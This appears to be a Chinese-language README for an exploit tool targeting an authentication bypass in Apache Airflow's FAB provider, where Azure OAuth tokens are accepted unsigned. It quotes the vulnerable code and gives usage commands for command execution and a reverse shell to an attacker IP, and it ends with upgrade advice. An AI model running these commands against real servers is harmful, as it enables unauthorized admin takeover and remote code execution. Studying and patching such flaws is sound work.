在 Apache Airflow 的 FAB auth-manager provider(apache-airflow-providers-fab)中存在认证绕过,可通过触发的 DAG 实现远程代码执行。
该提供程序默认在禁用签名验证的情况下解码 Azure OAuth id_token(airflow/providers/fab/auth_manager/security_manager/override.py,_decode_and_validate_azure_jwt):
verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
if verify_signature:
... # JWKS validation (only if explicitly enabled)
_parts = id_token.split(".")
_payload = _parts[1] + "=" * (-len(_parts[1]) % 4)
return json.loads(base64.urlsafe_b64decode(_payload)) # raw payload, NO signature check
这些声明直接映射到身份——oid → 用户名,roles → role_keys——并且 AUTH_ROLES_MAPPING 将 roles=["Azure-Admins"] 声明转换为 Admin 角色。由于令牌的签名/签发者/受众从未被检查(CWE-347),攻击者完成 OAuth 流程后即可在没有任何真实凭据的情况下以 Admin 身份进行认证。随后,Admin 可以触发一个执行任意命令的 DAG。
apache-airflow-providers-fab < 3.7.3(配合 apache-airflow >= 3.0.2)3.7.3(默认值已改为 verify_signature=True;令牌会针对 Microsoft 的 JWKS 进行验证)8080(Airflow UI + REST API)仅需 Python 3 标准库。目标必须配置了存在漏洞的 Azure OAuth 提供程序的 FAB auth manager,并且(对于 RCE 步骤)需要有一个 DAG,其任务会运行攻击者控制的 dag_run.conf。
python3 exploit.py http://target:8080/ -c 'id > /tmp/pwned'
python3 exploit.py http://target:8080/ --shell 10.10.14.5:4444 # nc -lvnp 4444 first
GET /auth/login/azure → IdP → /auth/oauth-authorized/azure)。FAB 接受未签名/伪造的 id_token,并以 Admin 身份登录,设置 session cookie 和 _token cookie(REST API 期望的 JWT)。{"conf":{"cmd":"..."}} 向 POST /api/v2/dags/<dag>/dagRuns(Bearer _token)发送请求,触发一个 BashOperator 运行 dag_run.conf['cmd'] 的 DAG。每次运行使用唯一的 logical_date((dag_id, logical_date) 对在元数据库中是唯一的)。该工具还会将 OAuth authorize 重定向中的 loopback 主机重写为目标主机,因此可用于攻击那些在服务器配置中将 IdP 通告为 127.0.0.1 的远程目标。
本工具利用的是令牌验证缺陷。要获得 Admin 权限,需要 OAuth 流程产生一个具有高权限 roles 声明的令牌——在 IdP/令牌可被影响的情况下这很容易,因为 Airflow 永远不会验证签名。RCE 步骤假设存在一个执行 dag_run.conf 的 DAG(一种常见模式);否则,Admin 访问权限也可以通过其他 Airflow 功能加以利用。
将 apache-airflow-providers-fab 升级到 ≥ 3.7.3;切勿将外部断言的 OAuth 角色声明直接映射为 Admin;不要以 root 身份运行 Airflow;不要让 UI/API 暴露在不受信任的网络中。
仅用于授权的安全测试和教育目的。请仅对您拥有或获得明确测试许可的系统使用本工具。